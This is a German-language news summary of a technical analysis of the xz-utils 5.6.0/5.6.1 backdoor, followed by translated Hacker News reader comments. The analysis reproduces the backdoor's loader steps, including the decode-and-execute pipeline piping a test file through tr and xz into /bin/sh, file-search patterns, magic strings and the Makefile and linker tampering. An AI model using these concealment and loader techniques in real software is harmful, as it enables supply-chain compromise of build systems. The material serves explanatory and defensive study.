1 Punkte von GN⁺ 2024-04-03 | 1 Kommentare | Auf WhatsApp teilen
  • Der xz-Angriff zerfällt in Shell-Code-Injektion in der configure-Phase und Injektion von Objektdateien in der make-Phase; diese Analyse verfolgt, wie das Skript in den xz-5.6.0- und 5.6.1-Release-Tarballs eine Backdoor-Objektdatei in den Build einschleust
  • Schadcode und Objektdatei waren komprimiert und verschlüsselt wie binäre Test-Eingabedateien in tests/files versteckt, und die bestehende README-Beschreibung als „von Hand erstellte Testdateien“ machte die Tarnung besonders einfach
  • Der in m4/build-to-host.m4 hinzugefügte Code findet bad-3-corrupt_lzma2.xz, stellt es mit tr und xz -d wieder her und führt es mit /bin/sh aus; in 5.6.1 kommt außerdem ein Erweiterungsmechanismus hinzu, der zusätzliche Skripte in neuen Testdateien sucht
  • Das configure-Skript ändert src/liblzma/Makefile und libtool, sodass auch während make das versteckte Skript erneut ausgeführt wird, und passt -z,now sowie PIC-bezogene Flags an, damit der ifunc-Resolver beim initialen dynamischen Linken ausgeführt wird
  • In der make-Phase wird das bösartige Objekt aus good-large_compressed.lzma extrahiert und entschlüsselt, dann werden die Build-Artefakte von crc64_fast.c und crc32_fast.c ausgetauscht, sodass über _get_cpuid Aufrufe von RSA_public_decrypt abgefangen werden

Gesamtstruktur des Angriffs

  • Andres Freund meldete am 2024-03-29 auf der Mailingliste oss-security@openwall die Existenz des xz-Angriffs
    • Bereits am Vortag informierte er auch Debian security und die private Liste distros@openwall
    • Auslöser waren Auffälligkeiten rund um liblzma bei einer Debian-sid-Installation, nämlich hohe CPU-Last beim SSH-Login und Valgrind-Fehler
  • Der Angriff besteht grob aus zwei Phasen
    • Während configure wird Shell-Code eingeschleust
    • Dieser Shell-Code injiziert erneut Shell-Code in make und fügt während make eine bösartige Objektdatei in den Build ein
  • Würde man die bösartige Objektdatei direkt als evil.o im Repository ablegen, würde das leicht Verdacht erregen; daher versteckte der Angreifer Shell-Code und Objektdatei komprimiert und verschlüsselt in binären Test-Eingabedateien
  • Das Verzeichnis tests/files existierte schon vor dem Auftreten von Jia Tan, und die README erklärt, dass die Dateien zum Testen der .xz-, .lzma- und .lz-Decoder-Implementierungen dienen; einige seien sogar direkt mit einem Hex-Editor erstellt worden, weil es „keinen besseren Quellcode als die Datei selbst“ gebe
  • Der Angreifer nutzte diesen Kontext aus, damit es so wirkte, als würden lediglich einige neue Testdateien hinzugefügt

Vom Backdoor-Code anvisierter Ausführungspunkt

  • Die letztliche Wirkung des Skripts besteht darin, die _get_cpuid-Funktion der bösartigen Objektdatei als Teil eines GNU indirect function (ifunc) resolvers aufrufen zu lassen
  • Ein ifunc-Resolver kann normalerweise verzögert während der Programmausführung aufgerufen werden, doch aus Sicherheitsgründen ist es weit verbreitet, alle Resolver bereits früh beim dynamischen Linken auszuführen und GOT und PLT schreibgeschützt zu mappen
  • Der bösartige ifunc-Resolver kann zu einem frühen Zeitpunkt laufen, an dem GOT und PLT noch beschreibbar sind
  • Die Backdoor findet in einer Tabelle RSA_public_decrypt und ersetzt den Eintrag durch die Angreifer-Version
  • Die ersetzte Funktion führt Angreifer-Code aus, wenn ein korrektes SSH-Zertifikat präsentiert wird

configure-Phase: Tarnung in build-to-host.m4

  • xz-utils verwendet GNU autoconf, und normalerweise sind configure und die unterstützenden m4-Dateien in der Tarball-Distribution enthalten, nicht im Quell-Repository
  • Der Angriff beginnt damit, dass in die xz-5.6.0- und xz-5.6.1-Tarballs die unerwartete Hilfsbibliothek m4/build-to-host.m4 eingefügt wird
  • Das bösartige build-to-host.m4 enthält im Vergleich zur Standarddatei plausible Änderungen
    • Die Serial wird von 3 auf 30 erhöht
    • Das Copyright-Jahr wird von 2023 auf 2023-2024 geändert
    • Mehrere schwer erkennbare Shell- und m4-Änderungen werden ergänzt
  • Der eigentliche Kern ist Code, der mit grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir/ in der Distribution nach einem bestimmten Muster sucht
    • Auf dieses Muster passt die Datei ./tests/files/bad-3-corrupt_lzma2.xz
    • Dadurch zeigt gl_am_configmake am Ende auf diese Testdatei
  • gl_path_map wird auf tr "\t \-_" " \t_\-" gesetzt und vertauscht Tabulator und Leerzeichen sowie Unterstrich und Bindestrich

Wiederherstellung des ersten versteckten Skripts

  • gl_[$1]_prefix extrahiert aus dem Dateinamen das letzte Element nach dem Punkt und ergibt damit xz
    • Der Name wirkt wie ein Präfix, ist tatsächlich aber die Dateierweiterung
    • So entsteht der Name eines Kompressionsbefehls, der auf der Build-Maschine wahrscheinlich bereits installiert ist
  • Die danach erzeugte Befehlszeichenkette sieht oberflächlich so aus, als verwende sie sed "r\n", ist tatsächlich aber näher an einem verschleierten cat
    • sed mit r\n ist ein Versuch, die nicht existierende Datei \n einzulesen, bewirkt also nichts
    • Da -n fehlt, wird die Eingabe unverändert ausgegeben
  • Der tatsächlich ausgeführte Befehl hat folgende Form
cat ./tests/files/bad-3-corrupt_lzma2.xz | tr "\t \-_" " \t_\-" | xz -d
  • Dieser Befehl wird über AC_CONFIG_COMMANDS während der Ausführung von config.status ausgewertet
  • In der wiederhergestellten Ausgabe erscheinen ####Hello#### und ####World####; laut README sind beim bad-3-corrupt_lzma2.xz der erste und dritte Stream gültige xz-Streams, während nur der mittlere Stream beschädigte LZMA2-Daten enthält

Unterschiede zwischen 5.6.0 und 5.6.1

  • Das in xz 5.6.0 wiederhergestellte erste Skript schneidet aus good-large_compressed.lzma einen bestimmten Byte-Bereich heraus, transformiert ihn, entpackt ihn als rohen LZMA-Stream und übergibt ihn an /bin/sh
  • Das erste Skript in xz 5.6.1 enthält fünfmal eine Zeile, die bei Nicht-Linux abbrechen soll
    • [ ! $(uname) = "Linux" ] && exit 0
    • Auch in dem langen Skript, das danach analysiert wird, gibt es eine Linux-Prüfzeile nur für 5.6.1
    • Diese Zeile hat einen Fehler, weil Leerzeichen um = fehlen und sie deshalb nicht funktioniert
  • In 5.6.1 unterscheiden sich die letzte Byte-Anzahl für head, der tail-Offset und die tr-Argumente von 5.6.0
    • Im Beispiel extrahiert 5.6.1 16×2048+939 = 33,707 Byte
    • Anschließend werden mit tail -c +31233 die letzten 31.233 Byte verwendet
  • Die Extraktions-Pipeline besteht aus den folgenden Schritten
    • Dekomprimieren von good-large_compressed.lzma mit xz -dc
    • Extraktion eines bestimmten Byte-Bereichs mit einer head-Pipeline
    • Auswahl des hinteren Teils mit tail
    • Anwendung einer einfachen Substitutionschiffre mit tr
    • Entpacken des rohen LZMA-Streams mit xz -F raw --lzma1 -dc
    • Ausführen des Ergebnisses mit /bin/sh

Erweiterungsmechanismus in 5.6.1

  • Im langen Skript gibt es mehrere Stellen, an denen nicht gesetzte Variablen per eval ausgewertet werden
    • Beispiel: eval $zrKcVq, eval $zrKcSS
    • Das könnten Debug-Ausgaben sein oder Erweiterungspunkte, an denen spätere Mechanismen Werte setzen
  • Wenn config.status vorhanden ist, liest das Skript LD, CC, GCC, srcdir, build, enable_shared, enable_static, gl_path_map usw.
  • Der in 5.6.1 neu hinzugekommene Erweiterungscode sucht in tests/files nach zwei Magic-Strings
    • Start-String: ~!:_ W
    • End-String: |_!{ -
  • Befinden sich beide Strings in derselben Datei, werden die Bytes dazwischen extrahiert, über tr und rohe LZMA2-Dekompression verarbeitet und die Ausgabe per eval ausgewertet
  • Dieser Mechanismus wirkt wie eine Struktur, um später neue Skripte in anderen Testdateien zu verstecken, ohne begründen zu müssen, dass bestehende binäre Testdateien erneut erzeugt wurden

Ausführungsbedingungen in der configure-Phase

  • Das Skript beendet sich unauffällig, wenn die nötigen Bedingungen für die Backdoor nicht erfüllt sind
  • GNU-ifunc-Unterstützung muss aktiv sein
    • In config.status muss ["HAVE_FUNC_ATTRIBUTE_IFUNC"]=" 1" stehen
    • In config.h muss define HAVE_FUNC_ATTRIBUTE_IFUNC 1 vorhanden sein
  • Der Build gemeinsamer Bibliotheken muss aktiviert sein
    • enable_shared muss yes sein
  • Das Build-Ziel muss x86-64 Linux sein
    • build muss die Bedingungen ^x86_64 und linux-gnu$ erfüllen
  • Die CRC-ifunc-bezogenen Quellen müssen unverändert vorhanden sein
    • crc64_fast.c
    • crc32_fast.c
    • crc_x86_clmul.h
  • Auch Compiler- und Linker-Bedingungen werden geprüft
    • GCC=yes
    • CC=gcc
    • Die Ausgabe von LD -v muss GNU ld enthalten
  • Die Testdateien mit der Backdoor, good-large_compressed.lzma und bad-3-corrupt_lzma2.xz, müssen vorhanden sein

Änderungen an Makefile und libtool

  • Wenn debian/rules existiert oder RPM_ARCH=x86_64 gesetzt ist, wird in der configure-Phase Code ausgeführt, der src/liblzma/Makefile verändert
  • Zunächst wird geprüft, ob im Makefile mehrere Zeilen vorhanden sind, die später als Einfügestellen dienen
    • ACLOCAL_M4 = $(top_srcdir)/aclocal.m4
    • am__uninstall_files_from_dir = {
    • am__install_max =
    • am__vpath_adj_setup =
    • am__include = include
    • all: all-recursive
    • LTLIBRARIES = $(lib_LTLIBRARIES)
    • AM_V_CCLD = $(am__v_CCLD_$(V))
  • In libtool wird geprüft, ob pic_flag=" -fPIC -DPIC" vorhanden ist
  • Danach werden mit sed -i an verschiedenen Stellen im Makefile Zeilen mit folgendem Charakter verstreut eingefügt
    • am__test = bad-3-corrupt_lzma2.xz
    • am__strip_prefix = tr ...
    • am__dist_setup = ... | xz -d ... | $(SHELL)
    • am__test_dir = $(top_srcdir)/tests/files/$(am__test)
  • am__test_dir wirkt vom Namen her wie ein Verzeichnis, verweist tatsächlich aber auf eine Datei
  • Die hinzugefügten Zeilen stehen nicht gebündelt an einer Stelle, sondern werden über das Makefile verteilt, damit das erzeugte Makefile plausibel komplex aussieht

Linker-Flags und rekursive Ausführung

  • Das Skript in der configure-Phase fügt liblzma_la_LDFLAGS den Wert -Wl,--sort-section=name,-X hinzu
  • Wenn in den bestehenden LDFLAGS weder -z,now noch -z -Wl,now vorkommt, wird außerdem -z,now hinzugefügt
  • -Wl,now sorgt dafür, dass der dynamische Loader beim Programmstart alle Symbole auflöst, und erzwingt damit das Verhalten von LD_BIND_NOW
    • Dabei wird der ifunc-Resolver bereits beim Start ausgeführt
    • Die Backdoor kann somit laufen, solange GOT und PLT noch beschreibbar sind
  • Die PIC-Flags in libtool werden wie folgt geändert
    • Vorher: -fPIC -DPIC
    • Nachher: -fPIC -DPIC -fno-lto -ffunction-sections -fdata-sections
  • Das Skript fügt außerdem AM_V_CCLD und ein langes Shell-Fragment in das Makefile ein
    • Am Ende wird sed rpath $(am__test_dir) | $(am__dist_setup) ausgeführt
    • Auch sed rpath fungiert als verschleiertes cat
  • Dadurch wird während make erneut effektiv die folgende Pipeline ausgeführt
cat ./tests/files/bad-3-corrupt_lzma2.xz |
tr "\t \-_" " \t_\-" |
xz -d |
/bin/sh

make-Phase: Extraktion der Objektdatei

  • In der make-Phase wird das Skript im Verzeichnis src/liblzma erneut ausgeführt
  • Da sich config.status nicht im aktuellen Verzeichnis befindet, wird der Teil zur Bearbeitung des Makefiles aus der configure-Phase übersprungen
  • Stattdessen wird angenommen, dass man sich in der make-Phase befindet, wenn .libs/liblzma_la-crc64_fast.o und .libs/liblzma_la-crc32_fast.o existieren, und dann wird der nächste Code ausgeführt
  • In 5.6.1 kommt zusätzlich ein Erweiterungs-Hook für die make-Phase hinzu
    • Start-String: jV!.^%
    • End-String: %.R.1Z
    • Es gibt keine Testdatei mit diesen Strings; es wirkt wie eine Struktur für spätere Erweiterungen
  • Es wird erneut geprüft, ob die CRC-ifunc-bezogenen Quellen dem Erwarteten entsprechen
  • Außerdem wird kontrolliert, ob die in der configure-Phase hinzugefügten Compiler- und Linker-Flags tatsächlich angewendet wurden
    • ../../libtool muss die zusätzlichen PIC-Flags enthalten
    • liblzma_la_LINK muss -z,now oder -z -Wl,now enthalten
    • Wenn lazy vorkommt, wird abgebrochen

Entschlüsselung und Auswahl des bösartigen Objekts

  • Das Skript wählt abhängig vom Inhalt von gettext.m4 einen von zwei Offset-Werten
    • Da die Prüfkette in gettext.m4 des veröffentlichten xz-Tarballs nicht vorkommt, wird im Beispiel-Build die gesamte Eingabe verwendet
  • good-large_compressed.lzma wird erneut dekomprimiert, und mit der zuvor gesetzten head-Pipeline i werden 33.707 Byte extrahiert
  • Diese Ausgabe wird in einzelne Bytes zerlegt, und anschließend führt awk eine RC4-ähnliche Entschlüsselungsfunktion aus
    • In Version 5.6.1 läuft die zweite Schleife bis 8192
    • In Version 5.6.0 läuft die Schleife an derselben Stelle nur bis 4096
  • Die entschlüsselte Ausgabe wird anschließend nochmals mit xz -dc --single-stream dekomprimiert
    • --single-stream stoppt am ersten xz-EOF-Marker und verhindert damit, dass der zuvor mit tail extrahierte Bereich gelesen wird
  • Das Endergebnis wird in liblzma_la-crc64-fast.o geschrieben

Austausch der CRC-Objekte

  • Das Skript sichert zunächst das echte Build-Artefakt .libs/liblzma_la-crc64_fast.o unter dem ähnlich benannten .libs/liblzma_la-crc64-fast.o
    • Dabei wird der Unterschied zwischen Unterstrich (crc64_fast) und Bindestrich (crc64-fast) ausgenutzt
  • Danach kompiliert es eine per sed veränderte Version von crc64_fast.c und verwendet dabei zusätzlich das extrahierte bösartige Objekt liblzma_la-crc64-fast.o, um .libs/liblzma_la-crc64_fast.o zu überschreiben
  • Der eingefügte C-Code erzeugt _is_arch_extension_supported neu und ruft darin _get_cpuid auf
  • Das bestehende crc64_resolve wird so geändert, dass es statt is_arch_extension_supported() nun _is_arch_extension_supported() aufruft
  • _get_cpuid ist eine Funktion aus der Backdoor-Objektdatei und führt vor der Rückgabe der cpuid-Informationen zusätzliche Aktionen aus
    • Insbesondere verändert sie GOT und PLT, um Aufrufe von RSA_public_decrypt abzufangen

Verarbeitung auf der crc32-Seite und Aufräumen

  • Wenn die Änderung an crc64 erfolgreich ist, wendet das Skript ähnliche Änderungen auch auf crc32_fast.c an
  • Auf der crc32-Seite wird jedoch keine Backdoor-Objektdatei hinzugefügt
    • So wird vermieden, das Backdoor-Objekt zweimal in den Build einzubringen
  • Warum sowohl crc32- als auch crc64-ifunc abgefangen werden, ist nicht klar
    • Die Analyse meint, dass eines von beiden eigentlich ausreichen würde
    • Möglicherweise sollte es im Debugger so aussehen, als wären beide Dispatch-Codes ähnlich
  • Wenn beide Kompilierungen erfolgreich sind, wird mit liblzma_la_LINK die .la-Datei neu gelinkt
  • War das Linken erfolgreich, aber .libs/liblzma.so fehlt, wird das als Fehler behandelt und das Backup wiederhergestellt
  • Unabhängig vom Erfolg werden .libs/liblzma.a, .libs/liblzma.la, .libs/liblzma.lai, .libs/liblzma.so* gelöscht
    • Dabei wird vorausgesetzt, dass der ursprüngliche Link-Schritt des Makefiles sie anschließend neu erzeugt
  • Im Fehlerpfad werden die gesicherten crc32- und crc64-Objekte unter ihren ursprünglichen Namen zurückkopiert
  • Zum Schluss werden temporäre und Backup-Dateien gelöscht, sodass das bösartige Objekt in die make-Artefakte injiziert wird, ohne Spuren zu hinterlassen

1 Kommentare

 
GN⁺ 2024-04-03
Meinungen auf Hacker News
  • Als jemand, der autotools schon lange nicht leiden kann, würde ich gern sagen, dass dieser Vorfall meine Haltung bestätigt. Aber ein Build-System, das komplex genug ist, um mehrere Plattformen zu unterstützen, wird zwangsläufig undurchschaubar genug, dass jemand so etwas einschleusen kann.
    Trotzdem ist es wirklich ein Problem, dass viel Software im Grunde mit riesigen Cargo-Cult-Shell-Skripten gebaut wird, die als Ganzes praktisch niemand versteht.

    • Ich sehe die grundlegende Ursache darin, dass bash und Sprachen mit komplexer, dichter Syntax so verbreitet sind.
      Wären Build-Skripte in Python geschrieben, wäre es deutlich schwieriger gewesen, die Backdoor zu verschleiern. Allen wäre aufgefallen, dass der Code seltsam ist. Bei bash-Code neigt man dazu, ihn einfach als normal anzusehen, auch wenn man ihn nicht lesen kann.
    • Ich verstehe die Kritik an autotools, und ich habe die Leute, die configure-Skripte gepflegt haben, nie beneidet. Aber aus Nutzersicht vermisse ich die Zeit, in der sich fast jede Softwareinstallation mit ./configure && make && make install erledigen ließ.
    • autotools sollte verschwinden, aber die meisten grundlegenden Anwendungsfälle, die Build-Systeme komplex machen, laufen auf Abhängigkeitsverwaltung und -erkennung hinaus.
      Die Komplexität wurzelt darin, dass es für diesen Ablauf völlig an Best Practices fehlt. Unter diesen Bedingungen lässt sich das nicht mit einer einzelnen Build-Konfiguration wie mybuild.toml lösen.
    • Zustimmung. Am Ende braucht man, weil man eine derart breite Plattformabdeckung unterstützen will, komplexe Systeme, und dadurch stellt sich die Frage, wie viel Risiko wir damit eingehen.
      Außerdem frage ich mich, warum man ein komplexes System braucht, um etwas wie eine Kompressionsbibliothek zu bauen, die im Kern eigentlich nur Mathematik und Speicherallokation betreibt.
    • Sehe ich genauso. Die Versuchung ist groß, diese ganze Sache m4 anzulasten, aber das ist eher das Trauma, das da spricht.
  • Als Entwickler ist es erstaunlich, und es zeigt, dass etwas, das in meinen Augen wie eine Angriffsmethode der Spitzenklasse wirkt, für Leute, die auf dieser Ebene arbeiten, wahrscheinlich nur mittleres bis fortgeschrittenes Niveau ist.
    Auf HN tauchen Dinge auf, die noch deutlich anspruchsvoller sind. Daher sehe ich das nur als Anfang dessen, was möglich ist, wenn genug Geld oder andere Anreize vorhanden sind. Wenn man an die zahllosen Pakete auf GitHub und die Millionen Bibliotheken denkt, ist dieser Vektor so effektiv, dass ich sicher bin, dass in den nächsten Monaten Hunderte ähnlicher Fälle ans Licht kommen werden.
    Ich mache mir Sorgen um Anbieter von Consumer- und Prosumer-Hardware, von Philips Hue über Alexa, SumUp, Kamerahersteller bis hin zu Netgear und TP-Link. Ihre Produkte sind voll mit Open-Source-Bibliotheken, und ich bin zu 100 % sicher, dass die meisten Entwicklungsteams keine Zeit damit verbringen, nach solchen verdeckten Injektionsvektoren zu suchen.

    • Die Argumentation, dass „die meisten Entwicklungsteams keine Zeit damit verbringen, nach solchen verdeckten Injektionsvektoren zu suchen“, ist schwer nachzuvollziehen. Es wirkt, als wollten diejenigen, die die Dependency Hell kritisieren, mit diesem Szenario Open-Source-Maintainer noch schlechter aussehen lassen.
      Eine kommerzielle Organisation, die Zuverlässigkeit verspricht, führt vor der Übernahme von Abhängigkeiten eine Supply-Chain-Analyse durch. Deshalb bezahlt man üblicherweise Red Hat für die Pflege einer stabilen Linux-Distribution, und deshalb beschränken Projekte wie FreeBSD die Software, die in der Standardinstallation enthalten ist, sehr stark.
      Wenn man von diesem Vorfall betroffen war, ist das bedauerlich, aber es ist die eigene Verantwortung. Wenn man befürchtet, dass ein Entwickler von Software, die man wie Freibier kostenlos nutzt, plötzlich die Seiten wechselt, muss man ihm Anreize geben, es nicht zu tun – also bezahlen – oder das Projekt forken und eigene Sicherheitsmaßnahmen daraufsetzen.
      Wenn man sich Sorgen macht, dass es bei Abhängigkeiten kommerzieller Software zu Supply-Chain-Angriffen kommt, sollte man Verträge aushandeln, die auch den Ausgleich solcher Schäden einschließen. Wer dazu nicht bereit ist, handelt nicht professionell.
      Nebenbei: Ich meine ernsthaft, dass man auch bei den grundlegendsten Abhängigkeiten wie SSH die Supply Chain prüfen muss.
    • Eher das Gegenteil. Entwickler und Maintainer, die sich besser auskennen als wir, haben diesen Vorfall als hochgradig ausgefeilten Angriff beschrieben.
      Die frühen InfoSec-Beiträge konnten nur Teile des Codes erklären und behandelten nicht die gesamte Strategie des Angriffs. Das lag daran, dass Angriff und Code ausgefeilt waren. Dass frühe Analysen den Angriff unterschiedlich beschrieben, lag ebenfalls daran, dass er nicht einfach zu verstehen war. Erst später kamen Beiträge nach dem Motto: „Jetzt sieht es endlich nach einem Angriff zur Remote Code Execution aus.“
      Inzwischen gibt es sogar Scanner, die die Schwachstelle auf Servern erkennen. Dadurch können jetzt alle sagen: „Ach, das war doch ein viel zu einfacher und dummer Angriff, warum hat man ihn nicht früher gefunden?“
    • Genau deshalb sehe ich es nicht als Vorteil, wenn TP-Link seine Router-Firmware auf OpenWRT aufbaut. Auf meinen Geräten möchte ich das reine Upstream-Projekt laufen haben oder etwas, das Upstream konstruktionsbedingt folgt.
      Das gilt für alle Geräte gleichermaßen. Ich mag auch nicht, dass Android alte Kernel verwenden muss, und ich fand es ebenfalls nicht gut, dass macOS auf einer veralteten Darwin/BSD-Linie lief. Der Aufwand für Backports macht mir Sorgen.
      Natürlich heißt das nicht, dass Open Source keine Schwachstellen hat.
    • Jede halbwegs ordentlich betriebene Organisation hat einen Mechanismus, um Updates zu erhalten, wenn in Abhängigkeiten Sicherheitsprobleme auftreten. Je nach Branche verlangen das auch Regulierungs- oder Zertifizierungsstellen wie PCI.
      Vielleicht sollte man sich eher vor unsichtbaren Backdoors in proprietärer Software fürchten, die fast nie entdeckt werden.
  • Die Infografik von Thomas Roccia scheint hier noch nicht erwähnt worden zu sein: https://twitter.com/fr0gger_/status/1774342248437813525

    • Ein erheblicher Teil wirkt, als würden Hinweise ohne ausreichende Grundlage zwanghaft miteinander verbunden.
      Zum Beispiel hat oss-fuzz das GitHub-Repository direkt geklont und xz daraus gebaut. Die Backdoor befand sich nicht im Repository, sondern nur im Tarball, daher hatte oss-fuzz keine Chance, die Backdoor zu finden. Entsprechend könnte dieser oss-fuzz-PR auch eine echte Änderung gewesen sein, die nichts mit der Backdoor zu tun hatte.
    • Jia Tan bat die Distributionen kurz vor der Veröffentlichung um schnelle Updates.
      Wie wahrscheinlich ist es, dass es im Umfeld von Andreas Freund ein weiteres Konto oder eine weitere Person gab, die früher davon erfahren hat, dass die Backdoor öffentlich gemacht werden würde? Das lässt mich weiterhin an die Möglichkeit denken, dass es dort noch andere Insider gibt.
    • Dieses Material zeigt nur auf hoher Ebene teilweise, wie der Exploit in liblzma eingebettet wurde; wie der Exploit funktioniert oder was genau er enthält, behandelt es überhaupt nicht.
    • Der Timeline zufolge begann der Angriff damit, dass der .gitignore-Datei ein Ignore-Eintrag hinzugefügt wurde. So etwas ist heutzutage schwer zu erkennen.
  • Aus der Sicht eines naiven Beobachters ist das hier der auffälligste Teil:
    „Viele Dateien wurden von Hand mit einem Hex-Editor erzeugt, daher gibt es keinen besseren ‚Source Code‘ als die Dateien selbst.“ Bei Parsing-Bibliotheken wie liblzma kann ich verstehen, dass das so sein kann. Für den Angreifer dürfte es einfach so ausgesehen haben, als würden ein paar neue Testdateien hinzugefügt.
    Die Dateien selbst sind zwar beängstigend, aber ich verstehe den Grund. Trotzdem müsste man sie doch zumindest vom Build trennen können.
    „Üblicherweise werden das configure-Skript und unterstützende Bibliotheken nicht dem Source-Repository hinzugefügt, sondern nur dem Tarball-Release. Bei xz ist die Distribution genauso aufgebaut.“
    Den obligatorischen Ärger über autotools einmal beiseite: Ich verstehe nicht, warum Testdateien in einen Tarball gehören müssen. Bösartige Tests könnten zwar auch Entwickler-Maschinen infizieren, aber wenn ein Tarball dazu da ist, das finale Artefakt zu bauen, sollte doch die Regel gelten, nur das Nötige aufzunehmen. Erst recht, wenn die Testdateien nicht auditierbare binäre Klumpen sind.

    • Es ist ziemlich üblich, in der CI Tests laufen zu lassen, um nach dem Build zu prüfen, ob in bestimmten Umgebungen alles in Ordnung ist.
      Als wir das zuletzt so gemacht haben, haben wir allerdings das Upstream-Git bevorzugt und die nötigen autoconf-Artefakte selbst erzeugt. Das Konzept eines Release-Tarballs, der Dinge enthält, die nicht in Git sind, hat mir nie gefallen.
    • Selbst wenn ein gewisser Anteil generierten autoconf-Codes enthalten ist, bleiben es trotzdem Source-Tarballs.
      Man muss den Code auf der Zielmaschine kompilieren und anschließend Tests ausführen können.
    • Neben der Prüfung, ob das auf dem Zielsystem kompilierte Programm korrekt funktioniert, braucht man Tests auch dann, wenn man mit profilbasierter Optimierung kompilieren will, weil man dafür ausführbare Beispiele braucht, anhand derer optimiert wird.
  • „Der erste Unterschied besteht darin, dass das Skript auf jeden Fall, wirklich ganz sicher beendet wird, wenn es nicht unter Linux läuft.“
    Die wiederholten Prüfungen sind tatsächlich rätselhaft. Meine Hypothese ist, dass der Angreifer die Wiederholungen eingebaut haben könnte, damit es plausibel wie eine Testeingabe für eine Kompressionsbibliothek aussieht.

    • Vielleicht ging es darum, Platz für Änderungen am Skript zu schaffen. Man kann ja die vorderen Bytes des Skripts überschreiben.
      Oder es war einfach Faulheit.
    • Ich fand das auch seltsam. Am Anfang des Skripts sind außerdem unterschiedliche zufällige Bytes angehängt, und zwar keine Textzeichen, sondern echte zufällige Bytes. Da aber ein Hash-Zeichen davorsteht, werden sie als Kommentar behandelt und beeinflussen das Skript nicht.
      Es wirkt absichtlich, aber ich weiß nicht, warum es da ist. Ich dachte, vielleicht wurde es hinzugefügt, um die Größe aufzufüllen, weil xz die Kompression überspringt, wenn die Eingabe zu kurz oder nicht komplex genug ist. Aber nachdem ich es entfernt und erneut mit xz komprimiert hatte, wurde es korrekt komprimiert, und der ursprüngliche Klartext blieb nicht in den Bytes des komprimierten Archivs zurück.
      Beim Versuch, die exakten Bytes der in Git committeten .xz-Datei zu reproduzieren, habe ich herausgefunden, dass der xz-Stream dieses Skripts offenbar nicht mit einem Standard-xz-Preset komprimiert wurde. Ich musste xz --lzma2=dict=65536 -c stream_2 verwenden, um ihn zu reproduzieren; alle Standard-Presets mit Nummern wählten andere Wörterbuchgrößen. Auch das wirkt absichtlich, aber den Grund habe ich nicht verstanden.
    • Könnte es nicht darum gegangen sein, einen Teil der komprimierten Testdatei zu vergrößern oder zu verschleiern?
      Ohne die Wiederholung wäre in der komprimierten Datei vielleicht irgendein seltsames Binary entstanden, das Security-Tools oder Virenscanner anschlägt.
    • Ist das wirklich ein Rätsel? Der Angreifer hatte vermutlich Linux x86 als Ziel im Sinn, und IFUNC-Unterstützung funktioniert auf anderen Plattformen nicht garantiert.
    • Wenn es auf Nicht-Linux-Systemen ausgeführt worden wäre, hätte es wegen Betriebssystemunterschieden vielleicht abstürzen oder Spuren hinterlassen und dadurch auffallen können.
  • Tragisch komisch ist, dass moderne Technik extrem komplex und unnötig undurchschaubar geworden ist, und es wird immer schlimmer. Es wirkt, als hätten Entwickler eine sadistische Freude daran.

    • Das ist vermutlich die schlechtestmögliche Interpretation.
      Es ist ziemlich erstaunlich, dass die Tools mit der wachsenden Komplexität der Produkte mithalten, die wir bauen. Ehrlich gesagt wird in den meisten Fällen einfach alles eher einfacher; es ist wohl eher so, dass die Leute keine Lust haben, Neues zu lernen.
  • Wer auch immer diese Leute angeheuert hat, um dieses Projekt zu infiltrieren, muss enorm viel Zeit investiert haben, damit es lange unentdeckt bleibt. Zum Glück war es zu komplex, sodass nicht alle Faktoren bedacht wurden.
    Deshalb glaube ich, dass Open Source in puncto Sicherheit immer besser sein wird als Closed Source. Natürlich hat dieser Vorfall eine massive Schwachstelle in der Supply Chain offengelegt und auch gezeigt, wie sehr grundlegende Bausteine von FOSS unterschätzt werden und wie anfällig Maintainer für Manipulation sind.
    Aber was wäre, wenn derselbe Angriff innerhalb eines Privatunternehmens passiert wäre? Wahrscheinlich hätte es nicht einmal ausgefeilter Obfuskation bedurft. Mit einem ausreichend großen PR und einer nahenden Deadline könnte man so etwas mit minimalem Aufwand heimlich in Produktionssysteme einschleusen. Bis das Unternehmen merkt, was passiert ist, wäre man längst in ein Land ohne Auslieferungsabkommen geflogen und würde die geleakten Daten über Tor oder im Dark Web verkaufen.

    • Ich denke, hier gibt es einen Survivorship Bias. Woher wissen wir, wie viele ähnliche Versuche erfolgreich waren? Wie viele der entdeckten Fälle wurden als bloße Fehler abgetan? Wie können wir zum Beispiel sicher sein, dass Heartbleed nicht absichtlich von jemandem eingebaut wurde und diese Person heute nicht unglaublich reich ist?
      Wenn man bei einem Privatunternehmen eingestellt wird, weiß das Unternehmen, wer man ist. Das ist an sich schon eine unmittelbare Abschreckung gegen verdächtiges Verhalten. Auf GitHub weiß niemand, wer man ist. Es mag schwieriger sein, unentdeckt eine Backdoor in ein Projekt einzubauen, aber wenn man erwischt wird, trägt man kein Risiko. Man kann es so oft versuchen, wie man will. Jia Tan wurde immer noch nicht gefasst und musste auch nicht sein ganzes Leben darauf ausrichten, in einem Land ohne Auslieferungsabkommen zu leben. Es sei denn, er war ohnehin schon dort.
    • Dem kann ich schwer zustimmen. Die meisten Privatunternehmen werden beim Einstieg persönliche Treffen verlangen. Selbst bei vollständig remote arbeitenden Firmen gibt es die Erwartung, dass man Kollegen irgendwann im echten Leben trifft, und das in der Regel vermutlich bevor man bedeutende Commits macht. Ein Unternehmen, das es wert ist, infiltriert zu werden, wird mit sehr hoher Wahrscheinlichkeit eine Hintergrundprüfung verlangen.
      Und selbst wenn man einmal drin ist, kann man nicht nach Belieben in das Zielprojekt committen. Der Manager und dessen Manager haben andere Prioritäten. Das oft dysfunktionale Management gewinnorientierter Unternehmen wirkt hier sogar als Abschreckung. Man muss nicht nur den Code selbst rechtfertigen, sondern auch erklären, warum man überhaupt an dieser Aufgabe gearbeitet hat.
    • Etwas am Thema vorbei, aber wie viele Länder ohne Auslieferungsabkommen gibt es nach heutigem US-Maßstab tatsächlich noch?
      Selbst Länder mit angespannten Beziehungen können ausliefern, wenn es politisch opportun ist, etwa als Teil einer Verhandlung. Russland hätte Snowden vermutlich auch nicht behalten, wenn er keine Staatsgeheimnisse offengelegt hätte. Wäre es nur ein gewöhnlicher Datenabfluss gewesen, hätte man ihn vielleicht gegen einen Oligarchen getauscht, der anderswo wegen Geldwäsche festgenommen wurde.
    • Es könnte ein interessantes Unterrichtsprojekt sein, kleine, relativ harmlos wirkende, aber fast überall verwendete Projekte zu untersuchen und zu prüfen, ob sie auf dieselbe Weise behandelt werden könnten oder ob Ähnliches bereits passiert ist.
      Allein eine Liste zu erstellen, wäre schon nützlich.
